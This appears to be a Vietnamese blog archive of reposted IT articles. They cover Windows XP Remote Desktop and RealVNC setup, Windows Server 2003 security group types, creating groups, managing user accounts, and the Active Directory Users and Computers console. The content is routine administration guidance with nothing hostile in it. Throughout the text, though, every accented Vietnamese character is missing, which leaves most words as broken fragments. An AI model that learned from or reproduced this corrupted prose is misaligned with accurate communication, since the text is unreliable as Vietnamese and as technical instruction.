mt vi thp k, mong mun ny gn nh bt kh thi, th nay vi s pht trin rng khp v ph thng ca Internet, mong c y tr thnh hin thc. S dng chc nng Remote Desktop c sn trong phin bn Windows XP Professional hay dng gii php 'mng o' c tn l VNC ca RealVNC, bn c th t c mong c ny. iu kin vt cht hin thc mc tiu trn l my tnh ca bn (gi l my ch, c th l PC bnh thng) phi c ci t Windows XP Professional v kt ni Internet. My tnh dng truy cp (client) th ch cn ci t 9x tr ln v c ci t phn mm Remote Desktop (c trong b a ci t Windows XP Professional/Home). Nu s dng gii php VNC th tt c cc my tnh ch cn c ci t ti thiu phin bn Windows 9x. V cui cng l kt ni Internet cho tt c cc my vi tc cng cao cng tt (nu dng ADSL th rt tt). Gii php Remote Desktop Thit lp my ch: ng nhp vo my tnh s l my ch vi ti khon (account) ngi dng c quyn cao nht (administrator - ngi qun tr) hoc thuc nhm ngi dng Remote Desktop Users ( kim tra xem ti khon ca bn c thuc nhm ngi dng ny khng, chn Start.Run, nhp vo dng lnh lusrmgr.msc ri nhn phm Enter vo tin ch Local Users and Groups). Sau khi ng nhp h thng, nhn chut phi vo biu tng My Computer trn mn hnh desktop (hay trong mn hnh Windows Explorer) v chn Properties. Ti mn hnh System Properties, nhn chn tab Remote, nh du chn vo mc c nhn Allow users to connect remotely to this computer, cui cng nhn phm OK. Nn ghi li y tn my tnh cng vi
cc thng tin v Domain v Group s dng sau ny. Hnh 1: a ch IP ca my tnh xut hin trong hp thoi 'Local Area Connection'.
Thng th ti khon ca ngi s dng c gn quyn administrator u c php truy xut t xa t cc my tnh khc trong mng. Nu ti khon m bn nh s dng thc hin tc v truy cp t xa khng thuc administrator th nhn nt Select Remote Users trong tab Remote mn hnh System Properties. Nu thy tn ti khon ca mnh hin trong danh sch ca mn hnh Remote Desktop Users th thi, cn khng bn nhn tip nt c nhn Add ri nhp vo tn cc ti khon c php truy cp t xa vo my tnh, cc tn cch nhau bi du chm phy (;), nhp xong nhn lin tip hai phm OK ng tt c cc ca s va m. Trnh s dng mt khu c nhng khong trng i vi account c php truy cp my tnh t xa. Nu c ti khon no cha gn mt khu (password), bn cn to cho n: Nhn chut chn Start.Run, nhp vo dng ch nusrmgr.cpl, ri nhn phm Enter. Chn tng ti khon mt ri nhn nt Create a password v tin hnh th tc khai bo mt khu cho ti khon va chn. Kinh nghim s dng cho thy, thay v khai bo tn my tnh truy xut t xa th nn s dng a ch IP. Th tc xem thng tin a ch IP ca mt my tnh nh sau: Nhn chut phi vo biu tng My Network Places, chn menu Properties. Trong ca s Network Connections nhn kp chut vo biu tng c nhn Local Area Connection, nhn chut chn tab Support, a ch IP ca my l chui ch s c 4 nhm cch nhau bng du chm nm trong mc IP Address (Xem hnh 1). Thit lp my client (lu , khi thc hin th tc ny th my tnh ch Remote Desktop phi ang hot ng v kt ni Internet): Nu my tnh ca bn chy cc phin bn Windows khc XP th phi ci t b sung mt s tp tin trn a CD-ROM ci t Windows XP. a CD-ROM Windows XP Home hoc Professional vo a CD, nhn chut chn chc nng Perform additional tasks trong danh sch chn la cch ci t, chn mc Set up Remote Desktop Connection mn hnh tip theo ri tun t thc hin cc bc ci t chc nng Remote Desktop theo hng dn trn mn hnh.
Hnh 2: Nhp tn my tnh cn tm vo 'Computer' ri nhn 'Connect'
Gii quyt vn tng la': Nu my tnh chy Remote Desktop ca bn c bo v bng 'tng la' (firewall) th nn tho lun vi ngi qun tr mng cu hnh thch hp cho my tnh v mng, i khi chnh bn phi t mnh cu hnh li cc thit b mng nh router, gateway hay firewall my tnh bn ngoi c th i xuyn qua v tm thy my bn trong. Truy cp t xa: Sau khi thit lp kt ni Internet, nhn Start.Programs (hay All Programs).Accessories.Communications.Remote Desktop Connection, nhp tn/a ch IP ca my tnh cn truy cp ri nhn phm Connect (xem hnh 2). Bn s nhn thy mn hnh Login ca my ch xa, sau khi th tc ng nhp hon tt, my ch xa s t ng kha li trnh b ai gn tnh c s dng vo cng vic khc. Nu bn ng nhp vo my ch xa vi ti khon khc vi ti khon ang lm vic trn my tnh ny, bn s nhn c thng bo c ti khon khc ng nhp trc. Nu bn nhn 'Yes' tip tc, s c mt thng bo xut hin trn my ch xa xin php kt ni. Lc ny, nu ngi s dng trn my ch nhn 'No' th bn s khng truy cp c. Nu khng c ai my ch, thng bo s t ng bin mt sau vi giy, v bn c th ng nhp. Khc phc s c: Nh cp, nu my client khng tm thy my ch xa theo tn, bn hy dng a ch IP. Nu cng khng c th nn tham kho chuyn gia v mng my tnh chn on, tm ra nguyn nhn khc phc. Cng nn s dng chc nng hng dn khc phc s c ca Windows XP nghin cu cc li Remote Desktop va xy ra. Th tc thc hin nh sau: Nhn Start.Help and Support ri nhp chui tm kim 'Troubleshooting Remote Desktop' trong Search, nhn Enter. Bn s thy danh sch cc ch phn theo loi thng bo li (xem hnh 3). Gii php VNC Hnh 3: S dng chc nng 'Help and Support' ca Windows XP khc phc s c kt ni mng t xa.
Nu khng mun s dng chc nng Remote Desktop ca Windows XP, bn c th xem xt s dng cc phn mm tin ch c chc nng tng t. y dng phn mm RealVNC (ti v s dng min ph ti a ch www.realvnc.com) lm v d hng dn quy trnh thit lp v khai thc. Ci t: phn mm VNC c hai thnh phn, VNC Server ci t trn my tnh dng lm my ch v VNC Viewer ci t vo cc my tnh s truy xut my tnh chy VNC Server (client).
Ti my tnh dng lm my ch, sau khi ci t xong RealVNC v nu RealVNC cha chy th nhn Start.Programs.RealVNC.Run VNC Server. Biu tng ca RealVNC s xut hin ti khay h thng. Nhn kp vo biu tng ny m giao din RealVNC Server v khai bo cc thng s hot ng cn thit. Nn khai bo mt khu truy cp h thng an ton (hnh 4). Ghi li a ch IP ca my tnh ci t VNC Server tin cho vic truy xut t xa thng qua VNC Viewer ( con tr chut trn biu tng RealVNC nm trn khay h thng khong vi giy s hin ra a ch IP ca my). Cng ging nh Remote Desktop ca Windows XP, nu cn truy xut cc my tnh nm sau 'tng la' bn phi thc hin thm mt s th tc khai bo nh trnh by trong mc Gii quyt vn 'tng la', tham kho thm hng dn trc tuyn ca RealVNC (http://www.realvnc.com/firewall). Khai thc: Nhn Start.Programs (hay All Programs).RealVNC.Run VNC Viewer khi ng RealVNC, nhp a ch IP ca my tnh chy VNC Server, nhn OK. Ty theo tc ng truyn, bn s thy xut hin mn hnh desktop ca my tnh chy VNC Server trn ca s VNC Viewer. T gi tr i bn c th thc hin mi thao tc trn my tnh VNC Server nh ang ngi thc s ti my tnh ny. Tuy nhin, mt vi t hp phm chc nng nh Alt-Tab ch c hiu lc vi my tnh chy VNC Viewer. iu ny hi phin toi nu bn quen dng Alt-Tab chuyn qua li gia cc ng dng, nhng bn c th thc hin thao tc ny bng chut.
Hnh 4: Khai bo mt khu lc bt u thao tc phn mm VNC. Tng tc: Cho d s dng ng truyn Internet tc cao th h thng VNC vn c th chy rt chm do thng tin chuyn giao trn h thng khng ch n thun l d liu m cn c cc hnh nh giao din ca mn hnh my tnh chy VNC Server. tng tc h thng, chng ta nn lc b bt mt s thit lp khng tht cn thit nh nh mn hnh nn, hiu ng con tr chut, trang tr thanh tiu ... Th tc thc hin nh sau: Nhn kp chut vo biu tng RealVNC khay h thng, b nh du chn cc mc khng cn dng nh Remove Desktop Wallpapers..., cui cng nhn OK. Tham kho thm ti liu hng dn s dng trc tuyn ca VNC ti find.pcworld.com/41724. http://www.sanitc.com/itc/NewDetail.asp?ID=52&IDL=97&IDD=1164 c ng bi haodalat ti 9:00 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK, RemoteDesktop
Kin thc c bn v mng: Phn 14 Cc nhm bo mt
Trong bi phn trc chng ti gii thiu cho cc bn cch to nhm abo mt trong Windows Server 2003. Khi gii thiu nhng th , chc hn bn cng thy c rng Windows s cho php to mt s kiu nhm khc nhau nh c th hin trong hnh A. Qu tht vy, mi mt kiu nhm ny c mt mc ch c th. Trong bi ny, chng ti s gii thiu cho cc bn v mi kiu nhm ny c s dng cho mc ch g. Hnh A: Windows cho php bn to mt s kiu nhm khc nhau. Nu nhn vo hp thoi hin th bn trn, bn s thy c vng Group Scope cung cp mt s ty chn to nhm domain local, global, hay universal. Ngoi ra cng c mt kiu nhm th 4 khng c hin th y, n c gi mt cch n gin l nhm local. Local Group Cc nhm local l cc nhm ring cho tng my tnh. Bn s bit v n ngay by gi, cc my tnh cc b c th gm c nhiu ti khon ngi dng c lp hon ton vi cc ti khon thuc v min my tnh c kt ni ti. Chng c bit n nh cc ti khon ngi dng cc b, v chng ch c kh nng truy cp t my tnh m chng c tr. Thm na, cc ti khon ngi dng cc b cng ch c th tn ti trn cc my trm v trn cc my ch thnh vin. Cc b iu khin min khng cho php tn ti cc ti khon ngi dng cc b. Cn lu nhng vn th bn s khng h ngc nhin khi cc nhm ch n gin l cc nhm ring cho tng my ch thnh vin hay my trm lm vic. Mt nhm local thng c s dng qun l cc ti khon ngi dng cc b. V d, nhm local Administrators cho php bn c th ch r ngi dng no l qun tr vin trn my tnh cc b. Mc d nhm local ch c th c s dng bo m vic c tr ca ti nguyn trn my tnh cc b nhng iu khng c ngha rng cc thnh vin trong nhm cng b hn ch i vi nhng ngi dng cc b ny. Trong khi mt nhm local c th v thng gm nhng ngi dng cc b th n cng gm c c cc ngi dng trong min. Hn na cc nhm local cng c th gm c c cc nhm khc c tr mc min. V d, bn c th to cho mt nhm universal mt thnh vin ca nhm local, cc thnh vin ca nhm universal v c bn s tr thnh cc thnh vin ca nhm local. Trong thc t, mt nhm local c th gm local user, domain user, domain local group, global group v universal group. C hai iu bo trc y m bn cn phi bit. u tin nh bn c th ch thy, mt nhm local khng th cha mt nhm local khc. Bn dng nh cm thy c th th mt nhm ny vo trong mt nhm khc, nhng khng th lm nh vy vi nhm local. Mt s thnh vin ti Microsoft c
ln gii thch l do cho vn ny l ngn chn mt tnh hung m hai nhm local tr thnh cc thnh vin ca nhau. Mt vn khc m bn cn bit na l cc nhm local ch c th gm domain users v domain level groups nu my tnh gm nhm local l mt thnh vin thuc min. Ngc li, nhm local ch c th gm local users. Domain Local Groups Khc hn vi nhng g bn va c c v cc nhm local, tng ca nhm domain local dng nh hon ton tri ngc. L do ti sao cc nhm domain local tn ti l v cc b iu khin min khng c c s d liu ti khon cc b. iu ny c ngha rng khng c cc th khc nh vy khi ngi dng cc b hay cc nhm local trn mt b iu khin min. Thm ch cc b iu khin min c cc ti nguyn cc b cn c qun l. y chnh l ni cc nhm domain local thc hin vai tr ca n. Khi bn ci t Windows Server 2003 trn mt my tnh, my tnh s c bt u nh mt my ch c lp hay mt my ch thnh vin chng hn. Trong c hai trng hp th ti khon ngi dng cc b v nhm cc b u c to ra trong sut qu trnh ci t. By gi mc ch ca bn l mun chuyn i mt my vo mt b iu khin min. Khi bn chy DCPROMO, cc nhm local v ti khon ngi dng cc b c chuyn i vo cc nhm domain local v ti khon ngi dng domain. y bn cn phi bit c rng tt c cc b iu khin min bn trong mt min u chia s mt c s d liu ti khon ngi dng chung vi nhau. iu c ngha l nu bn thm mt ngi dng vo nhm domain local trn mt b iu khin min th ngi dng ny s l mt thnh vin ca nhm domain local trn mi b iu khin min trong tan b min. Mt th quan trng nht m bn cn lu y v cc nhm domain local l c hai kiu khc nhau. Nh chng ti cp ti, khi DCPROMO c chy, nhm local c chuyn i thnh cc nhm domain local. Bt k nhm domain local no c to ra bng vic chy DCPROMO u c nh v trong th mc Builtin trong Active Directory Users and Computers console, xem hnh B. Hnh B: Cc nhm domain local to bi DCPROMO c tr trong Builtin container Vn ny kh quan trong l v c mt s hn ch p t trn mt s nhm domain local. Cc nhm b hn ch ny khng th b chuyn hoc b xa. Hay ni cch khc bn khng th to cho cc nhm ny l thnh vin ca nhm domain local khc.
Nhng hn ch ny khng p dng cho cc nhm domain local m bn to. Cc nhm domain local m bn ti s tn ti trong mc Users. T , bn hon ton thoi mi chuyn hoc xa chng mc theo thch ca bn. Chng ti ni vi bn v tt c nhng nng slm vic vi Windows Server, chng ti vn cha thy mt ch tt no cho vic to cc nhm domain local. Trong thc t, cc nhm ny c bn ging ht nh cc nhm global, ngoi tr nhng g chng b hn ch i vi mt min ring. Global Groups Global groups l mt kiu nhm c s dng ph bin nht. Trong hu ht cc trng hp, nhm global n gin ch lm vic nh mt b su tp cc ti khon ngi dng Active Directory. Th m chng ta cn quan tm v cc nhm ny l chng c th c t bn trong nhau. Bn c th to cho nhm global mt thnh vin ca mt nhm global khc, min l c hai nhm ny tn ti bn trong cng mt domain. Cn phi lu rng, cc nhm global ny ch c th c ti nguyn Active Directory. Chnh v vy bn khng th nh v mt ti khon ngi dng ni b hoc nhm ni b trong n. Mc d vy bn li vn c th thm vo nhm global ny mt nhm local. Trong thc t lm nh vy l cch thng c s dng nht i vi vic cp cc quyn cho ngi dng min h c th thao tc vi cc ti nguyn c lu trn my tnh cc b. V d, vi mc ch bn mun cho cc nh qun l trong cng ty c c cc quyn qun tr vin i vi cc my trm ca h (nn nh rng y ch l mt v d ch khng phi l mt li khuyn rn bn nn lm nh vy). thc hin iu , bn c th to mt nhm global c tn gi Managers v t mi mt ti khon ngi dng min ca ngi bn mun lm trong n. Sau bn c th b sung nhm Managers vo nhm local Administrators ca my trm, theo cch bn lm cho cc nh qun l ca bn c c quyn ca qun tr vin trn cc my trm . Kt lun Trong bi ny, chng ti gii thch rng Windows c h tr s dng bn kiu nhm bo mt khc nhau. V cng trong , chng ti gii thiu s khc nhau gia cc nhm local, domain local v global. Trong phn tip theo ca lot bi ny, chng ti s tip tc gii thiu cho cc bn v cc nhm universal. http://www.sanitc.com/itc/NewDetail.asp?ID=52&IDL=97&IDD=1182 c ng bi haodalat ti 8:43 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 13 - To cc nhm
Trong phn trc ca lot bi ny, chng ti gii thiu cho cc bn cch s dng Active Directory Users and Computers console to v qun l ti khon ngi dng. Trong phn ny, chng ti mun tip tc gii thiu cho bn v cc nhm. Trong mi trng min, cc ti khon ngi dng l rt cn thit. Ti khon ngi dng cho php mt ngi dng c phn bit vi cc ngi dng khc trn mng. iu ny c ngha l bn hon ton c th kim tra hnh ng trc tuyn ca ngi dng v cng c th trao cho ti khon ngi dng mt tp hp cho php, gn cho ngi dng mt a ch email duy nht, v c c tt c cc cn thit khc ca mi ngi. Li khuyn ca chng ti l d bn qun l mt mng rt nh th cng nn x l mng nh ny nh n l mt mng ln, bi v bn s khng th bit c mng ca bn s phnh ra tr thnh mt mng ln vo khi no. Bng vic s dng cc cng ngh qun l tt ngay t khi bt u s gip bn trnh c nhng cn c mng sau ny. Chng ti thy c nhng hu qu trong vic pht trin nhanh v khng mong mun i vi cc mng trong th gii thc. Khong 15 nm cch y, tc gi ca bi vit ny c thu qun tr mng cho mt cng ty bo him. Ti thi im , mng ny rt nh. N ch c mt s my trm lm vic c kt ni. Ngi chu trnh nhim v mng trc kia khng c nhiu kinh nghim v CNTT v b ui vic. Vic khng c nn tng CNTT, khng c s hiu bit tt, anh ta cu hnh mng tt c cc thit lp cu hnh tn ti i vi tt c ngi dng c bn. Lc , iu ny khng c vn g v khng c nhiu ngi dng v n cng d dng qun l cc ti khon khc nhau v cc cho php. Trong vng mt nm c n trn 200 my tnh c kt ni mng. Thi gian ny tc gi ri cng ty c mt vi nm nhng vn cn c hng nghn ngi ang dng mt mng m ch c thit k ban u qun l cho n v ngi dng tnh theo vi chc ngi. Bn c th hnh dung ra c cm nhn ca nhng ngi dng mng lc ny. Mt s yu im bt u xut hin, mt s c lin quan n hiu sut phn cng, nhng hu nh tt c l do chnh l hiu qu qun l cc ti khon ngi dng ca mt mng c thit lp hn ch ngay t ban u. Qu thc, mng tr thnh mt ng hn n n ni tt c ti khon ca ngi dng b xa v c to li t ng nt . R rng, s tng trng qu nhanh khng nh mong i c th gy ra nhiu vn nhng bn c th vn phn vn rng ti sao trong th gii thc mi th li d tr thnh khng th qun l nh vy i tt c cc ti khon n ni phi xa chng. Nh chng ti cp t trc, tt c cc thit lp cu hnh v bo mt l da theo ngi dng. iu c ngha rng nu mt qun l vin no n hi ch cho anh ta ai truy cp vo ti nguyn mng, chng ta s phi xem
cc ti khon xem c ngi dng no truy cp vo ti nguyn khng. Khi ch c mt s ngi dng th vic kim tra ny ch cn xem xem nhng ngi dng ny c truy cp vo hay khng (ch mt khong chng 20 pht). Tuy nhin i vi mt mng ln c n hng trm ngi, th lm nh vy s mt qu nhiu cng sc. Gi d cc s kin m chng ti miu t xy ra cch y hng thp k. Khi m nn cng ngh thng tin cha ln mnh, th cc s kin c th vn xut hin v c thc hin bnh thng. Tuy nhin, khi m cc h iu hnh mng nh trc kia khng cn tn ti na nhng bi hc v nhng ngy lch s vn cn phi nhc li. Tt c cc vn chng ti miu t c th c ngn chn nu cc nhm c s dng y. tng c bn nm sau cc nhm ny l, mt nhm c th gm c nhiu ti khon ngi dng. Khi cc thit lp bo mt c gn mc nhm th bn s khng bao gi nn gn cc cho php trc tip n ti khon ngi dng m thay v bn nn gn s cho php cho mt nhm, sau to cho ngi dng l mt thnh vin trong cc nhm . Chng ti nhn ra rng, iu ny c th gy ra mt cht phc tp, do vy chng ti s minh chng k thut ny cho bn. Gi d rng mt trong s cc my ch file ca bn c mt th mc tn Data, v bn cn phi ng cho mt ngi dng truy cp (c) th mc Data ny. Thay v gn trc tip s cho php cho ngi dng, bn hy to mt nhm. thc hin iu , bn m Active Directory Users and Computers console. Khi giao din c m, kch chut phi vo mc Users, chn lnh New | Group. Bng cch lm nh vy, bn s thy xut hin mt mn hnh tng t nh mn hnh c hin th trong hnh A. Ti thiu, bn cng phi gn tn cho mt nhm. d dng cho qun l, chng ta hy gi nhm ny l Data, v nhm ny s c s dng bo v th mc Data. Lc ny, khng quan tm v phm vi ca nhm hoc cc thit lp kiu ca n. Chng ti s gii thiu v cc thit lp ny trong phn tip theo ca lot bi ny. Hnh A: Nhp vo tn nhm m bn ang to Kch OK, v nhm Data s c b sung vo danh sch ngi dng nh trong hnh B. Lu rng, biu tng ca nhm s dng hai u ngi, iu ch th rng n l mt nhm, biu tng mt u ngi c s dng cho ti khon ngi dng. Hnh B: Nhm Data c b sung vo danh sch ngi dng By gi kch p vo nhm Data, bn s thy trang thuc tnh ca nhm. Chn tab Members ca trang thuc tnh, kch nt Add. Lc ny bn hon ton c th b sung thm cc ti khon ngi dng vo nhm. Cc ti khon b sung l cc thnh vin nhm. Bn c th thy nhng g trong tab ny thng qua hnh C.
Hnh C: Tab Members lit k tt c cc thnh vin ca nhm Lc ny l thi im a nhm ra lm vic. thc hin iu ny, bn kch chut phi vo th mc Data, chn lnh Properties. Khi bn s thy xut hin trang thuc tnh ca th mc. Vo tab Security ca trang ny, kch nt Add. Khi c nhc nh, bn nhp vo tn ca nhm to (Data) v kch OK. bn hon ton c th thit lp mt tp cc cho php (iu khon) i vi nhm. Bt c iu khon no p dng cho nhm cng c p dng cho cc thnh vin ca nhm. Bn c th thy trong hnh D, c mt s quyn c p dng i vi th mc mt cch mc nh. Tt nht bn nn xa cc quyn ny (Users group) ra khi danh sch iu khin truy cp ngn chn cc mu thun iu khon. Hnh D: Nhm Data c b sung vo danh sch iu khin truy cp ca th mc Hy nh rng trc y chng ta cp n bao nhiu cng sc tm ra c ngi dng no truy cp vo ti nguyn? Khi cc nhm c s dng, qu trnh ny tr nn n gin rt nhiu. Nu bn cn bit ngi dng no truy cp vo th mc, hy xem cc nhm no truy cp vo th mc trc nh trong hnh D. Khi xc nh c nhm c th truy cp vo th mc, vic tm ra ai c cc quyn truy cp vo th mc cng n gin nh vic kim tra danh sch cc thnh vin nhm (nh trong hnh C). Bt c thi im no nhng ngi dng khc cn truy cp vo th mc, hy b sung tn ca h vo danh sch thnh vin nhm. Ngc li, bn cng c th xa cc iu khon cho th mc bng cc xa tn ca ngi dng khi danh sch thnh vin. Kt lun Trong phn ny, chng ti gii thiu cho bn cch to cc nhm bo mt trong mi trng Windows Server 2003. Trong phn tip theo ca lot bi ny, chng ti s tip tc gii thiu n s nh hng ca vic chn cc kiu nhm khc nhau nh th no. http://www.sanitc.com/itc/NewDetail.asp?ID=52&IDL=97&IDD=1181 c ng bi haodalat ti 8:30 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 12 Qun l ti khon ngi dng
Trong phn trc ca lot bi ny, chng ti gii thiu cho cc bn v Active Directory Users v Computers console. Mc d trong phn gii thiu cch kt ni n min cn chn bng giao din ny, nhng cn mt vn m chng ti mun gii thiu tip l cch s dng giao din iu khin ny trong cc nhim v qun l hng ngy. Trong phn ny, chng ti s gii thiu cho cc bn mt s k thut c bn cho vic bo qun ti khon ngi dng. To mt ti khon ngi dng (User Account)
Mt trong nhng s dng thy nhiu nht Active Directory Users trong Computers console l to cc ti khon ngi dng mi. thc hin iu , bn m mc tng ng vi min cha ngi dng, chn mc Users. Sau khi thc hin nh vy, mt panel chi tit ca giao din s hin th tt c ti khon ngi dng ang tn ti trong min (nh trong hnh A). Hnh A: Chn mc Users, giao din iu khin s hin th tt c cc ti khon ngi dng trong min By gi kch chut phi vo mc Users v chn New. Khi bn s thy c cc menu con, t menu con ny c th chn nhiu kiu i tng khc nhau m bn c th to. Ni v k thut, Users ch l mt mc v bn c th a vo rt nhiu kiu i tng. Tuy vy s khng tt nu bn thc hin lu nhiu i tng khc hn l cc i tng ngi dng trong mc Users. Vi trng hp bi ny a ra, bn chn lnh Users t cc menu con. Khi s thy mt hp thoi xut hin nh trong hnh B. Hnh B: Hp thoi New Object User cho php to ti khon ngi dng mi Nh nhng g thy trong hnh, Windows ban u ch yu cu nhp vo mt s thng tin c bn v ngi dng. Mc d ca s ny hi nhiu th khc nh tn v h, nhng v mt k thut th n khng cn thit lm. Phn thng tin cn thit m bn cn phi cung cp l tn ng nhp ca ngi dng. Mc d cc trng khc ch l nhng la chn ty thch nhng chng ti vn khuyn bn nn in y thng tin vo cc trng ny. L do nn in y vo ht cc trng ny l v ti khon ngi dng khng hn g mt i tng s c tr bn trong Active Directory. Cc thnh phn nh tn v h l thuc tnh ca i tng ngi dng m bn ang to. Cng nhiu thng tin v thuc tnh th cc thng tin c lu bn trong Active Directory s cng tr ln hu dng. Xt cho cng, Active Directory l mt c s d liu m bn c th truy vn thng tin. Trong thc t, nhiu ng dng lm vic bng cch trch rt cc thuc tnh khc nhau t Active Directory. Khi in y cc trng ny, kch nt Next, khi bn s thy mn hnh tip theo xut hin nh trong hnh C di y. Hnh C: Cn phi gn mt khi cho ti khon mi Vic gn mt mt khu l hon ton n gin, tt c nhng g cn lm l nh v nhp li mt mt mt khu. Mc nh, ngi dng thng b yu cu thay i mt khu cho ln ng nhp k tip. Tuy vy, bn c th trnh trng hp ny bng cch xa hp kim User Must Change Password at Next Logon. Cng c nhiu hp kim khc cho php ngn chn ngi dng
thay i tt c cc mt khu ca h. Bn c th ty chn thit lp thi hn v hn cho mt khu hoc v hiu ha ton b ti khon. C mt iu cn phi lu l mn hnh thit lp mt khu trn khng phi l tt c. Khi bn gn mt khu cho mt ti khon ngi dng mi, mt khu ny phi tun theo chnh sch bo mt ca cng ty bn. Nu mt khu s dng khng c cc yu cu cn thit c a ra bi chnh sch nhm c th p dng th ti khon ngi dng ny s khng c to. Kch Next bn s thy mt mn hnh hin th ton b cc ty chn m bn chn. Xc nhn tt c cc thng tin u ng, khi ch cn kch Finish v mt ti khon ngi dng mi s c to. Chnh sa v b sung cc thuc tnh ca ti khon Nh ni trn, chng ta thy c s quan trng trong vic in cc thuc tnh khc nhau khi to mt ti khon mi. Bn c th thy nhiu mn hnh lin quan n vic to ti khon mi khng thc s c nhiu thuc tnh. Tuy vy, Active Directory cn gm c hng t thuc tnh km theo c lin quan n cc ti khon ca ngi dng ny. C mt s thuc tnh m bn c th rt d s dng v c ch. Chng ti khuyn khch cc thuc tnh ang c tr m c lin quan n thng tin lin h c bn. Trong thc t, mt s cng ty thng to cc th mc cng ty da trn thng tin c lu trong thuc tnh Active Directory ny, n vn l mt tng tt cho vic nh c thng tin ti khon ngi dng trong Active Directory. V d, vi mc ch cn khi ng li mt my ch, trong khi mt ngi dng vn ng nhp vo ng dng c tr trn my ch. Nu c cc thng tin lin h ca ngi dng c lu trong Active Directory th bn c th tra cu s in thoi ca ngi dng mt cch d dng v gi cho ngi dng ny yu cu h ng xut. Trc khi gii thiu cho bn cch t cc thuc tnh ca Active Directory, chng ti mun nhn mnh rng, k thut tng t cng c th c s dng cho vic thay i cc thuc tnh ang tn ti. V d, nu mt nhn vin n kt hn, c ta c th thay i h ca mnh (theo truyn thng mt s nc). Bn c th s dng cc k thut m chng ti s gii thiu sau y thay i ni dung thuc tnh cn thit c lin quan. truy cp vo cc thuc tnh ti khon ngi dng khc nhau, n gin bn ch cn kch chut phi vo ti khon ngi dng c chn, sau chn Properties. Sau khi thc hin nh vy, bn s gp mt mn hnh nh trong hnh D. Hnh D: Trang thuc tnh ca ngi dng c s dng lu thuc tnh
v thng tin cu hnh cho ti khon ngi dng. Nh c th thy c trn hnh, tab General c th cho php thay i tn hoc tn hin th ca ngi dng. Bn cng c th in vo (hoc thay i) mt s trng khc nh phn m t, vn phng, in thoi, email, hoc website. Nu quan tm n vic lu tr thm cc thng tin chi tit hn v ngi dng th bn c th duyt qua cc tab Address, Telephones, v Organization. Cc tab ny c tt c cc trng dnh cho vic lu tr thng tin chi tit hn v ngi dng. Xc lp li mt khu ngi dng Bn c th thy trn hnh D c rt nhiu tab khc nhau. Hu ht cc tab ny u lin quan n bo mt v cu hnh cho ti khon ngi dng. Mt thnh phn m hu ht cc qun tr vin mi dng nh u pht hin ra khi khm kh cc tab ny l khng c ty chn cho vic thit lp li mt khu ca ngi dng. Nu cn phi thit lp li mt khu ca ngi dng th bn phi ng ca s ny. Sau khi thc hin iu , bn kch chut phi vo ti khon ngi dng v chn lnh Reset Password trong menu chut phi. Kt lun Trong phn ny, chng ti gii thiu cho bn cc qu trnh to mt ti khon ngi dng, vic t cc thuc tnh ca Active Directory khc nhau c lin quan n ti khon , v vic thit lp li mt khu ca ti khon. Trong phn tip theo ca lot bi ny, chng ti s tip tc gii thiu v cc kh nng khc ca Active Directory Users v Computers console. http://www.sanitc.com/itc/NewDetail.asp?ID=52&IDL=97&IDD=1180 c ng bi haodalat ti 8:15 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 11 - Active Directory Users v Computers Console
Trong cc phn trc ca lot bi ny chng ti gii thiu cho cc bn v cch lm vic vi AD. Trong phn ny chng ti s tip tc tt c nhng g cn phi thc hin i vi mt mng. Windows Server 2003 c mt s cng c khc c s dng cho vic qun l AD. Cng c qun l AD ny cho php bn s dng hu ht cc nhim v qun l hng ngy l Directory Users v Computers console. Nh tn ca n, cng c ny c s dng to, qun l v xa cc ti khon ngi dng v my tnh. Bn c th truy cp vo cng c ny bng cch kch chut vo nt Start ca my ch v t menu Start tm n All Programs / Administrative Tools. Ty
chn Active Directory Users and Computers gn pha trn ca menu Administrative Tools. Bn cn phi nh rng ch c cc b iu khin min mi c ty chn ny, v vy nu khng quan st thy lnh Active Directory Users and Computers th bn phi ng nhp vo b iu khin min. Mt th khc m bn phi ch l menu Administrative Tools gm c mt cp cng c AD khc: Active Directory Domains and Trusts v Active Directory Sites and Services. Chng ti s gii thiu cc tin ch ny trong mt s bi vit sau. Khi m mc Active Directory Users and Computers, bn s thy xut hin mt mn hnh ging nh hnh A di y. Bn c th xem li t cc phn trc trong lot bi ny, AD c forest, forest ny gm c mt hoc nhiu min. Mc d forest th hin ton b AD nhng bng iu khin Active Directory Users and Computers khng cho php lm vic vi AD mc forest. Giao din ny ch l mt cng c mc min. Thc t, nu nhn vo hnh A bn s thy production.com c nh du. Production.com l mt min trn mng ca chng ti. Tt c cc mc khc c lit k bn di u l i tng ca min AD cho tng min. Hnh A: Giao din Active Directory Users and Computers cho php qun l cc min ring l Bn c th thy rng production.com l mt trong cc min trn mng ca chng ti v khng c min no khc c lit k trong hnh A. iu l v Active Directory Users and Computers ch lit k mt min ti mt thi im gi cho giao din trng gn gng. Min c lit k trong giao din tng ng vi b iu khin min m bn ng nhp. V d, trong khi vit bi ny, ti ng nhp vo mt trong cc b iu khin min l production.com, v vy Active Directory Users and Computers s kt ni n min production.com. Vn y l cc min thng b phn tn v mt a l. V d, trong cng ty ln phi c cc min khc nhau cho mi vn phng ca cng ty. Nu lc ny bn ang Miami, Florida v min khc ca cng ty hin din cho mt vn phng ti Las Vegas, Nevada th n s khng phi di chuyn mt qung ng ln dc ton nc M mi khi bn cn qun l min Las Vegas. Mc d Active Directory Users and Computers mc nh hin th min c lin quan n b iu khin min m bn ng nhp, nhng vn c th s dng giao din ny hin th bt k min no m bn c quyn thao tc vi chng. Tt c nhng g cn phi lm lc ny l kch chut phi vo min ang c hin th, sau chn lnh Connect to Domain t menu chut phi. Khi thc hin nh vy s c mt mn hnh c hin th, mn hnh ny cho php nh vo tn min m bn mun kt ni hoc kch vo nt Browse
